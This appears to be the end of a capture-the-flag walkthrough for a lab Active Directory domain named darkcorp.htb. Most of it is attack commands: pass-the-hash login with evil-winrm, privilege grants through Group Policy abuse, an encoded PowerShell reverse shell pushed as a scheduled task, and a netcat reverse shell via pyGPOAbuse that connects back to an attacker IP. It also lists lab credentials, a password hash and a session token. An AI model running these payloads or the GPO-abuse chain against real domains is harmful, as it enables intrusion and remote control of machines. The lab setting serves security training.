evil-winrm -i 172.16.20.1 -u 'Administrator' -H 'fcb3ca5a19a1ccf2d14c13e8b64cde0f'
Root flag is on the desktop.
Extra Notes
Note 1 (PowerGPOAbuse experiments)
Tried additional commands:
# Assign a new right
Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'taylor.b.adm' -GPOIdentity 'SecurityUpdates'
# Adding a New Computer/User script
Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SecurityUpdates'
# Create an immediate task
Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4ANAAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG5kAGIAYQBjAGsACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='" -Author 'taylor.b.adm' -Scope User -GPOIdentity 'SecurityUpdates'
Verify task XML:
type '\\darkcorp.htb\sysvol\darkcorp.htb\policies\{652cae9a-4bb7-49f2-9e52-3361f33ce786}\User\Preferences\ScheduledTasks\ScheduledTasks.xml'
If missing, delete and retry:
rm '\\darkcorp.htb\sysvol\darkcorp.htb\policies\{652cae9a-4bb7-49f2-9e52-3361f33ce786}\User\Preferences\ScheduledTasks\ScheduledTasks.xml'
Then run gpupdate /force.
No reverse shell obtained in this path.
Note 2 (pyGPOAbuse attempt)
Upload nc64.exe to C:\temp.
Download pyGPOAbuse:
https://github.com/Hackndo/pyGPOAbuse
Commands tested:
python3 pyGPOAbuse/pygpoabuse.py darkcorp.htb/taylor.b.adm:'!QAZzaq1' -dc-ip 172.16.20.1 -gpo-id "652CAE9A-4BB7-49F2-9E52-3361F33CE786"
python3 pyGPOAbuse/pygpoabuse.py darkcorp.htb/taylor.b.adm:'!QAZzaq1' -dc-ip 172.16.20.1 -gpo-id "652CAE9A-4BB7-49F2-9E52-3361F33CE786" -powershell -command "C:\temp\nc64.exe -e cmd.exe 10.10.15.43 4444" -taskname "MyTask" -description "don't worry"
Listener:
rlwrap nc -vlnp 4444
On victim:
gpupdate /force
No reverse shell obtained in this path.
Note 3
Working JWT from analytics:
.eJwljkEKQjEMBe_StYsmpknjZT5NmqAICv_rSry7BXmrNzAwn7LlHse1XF77O05lu81yKe6paIisSiDQua7BWZxthCcxk2kqRUXPAEaaPUQRahB7pZ4kE7SNIUpNbQxGZSepczaWMA2rNOtohMZiZyJqvcXyE9O1rJD3Efu_Btb1Y8_t9bzHYwHxYBqCQNbClq6cYBCLm7iS9wZVppfvD2eMPtg.Z6vM7A.QhGafjK4Vfm14V9fq3hHth-Trrs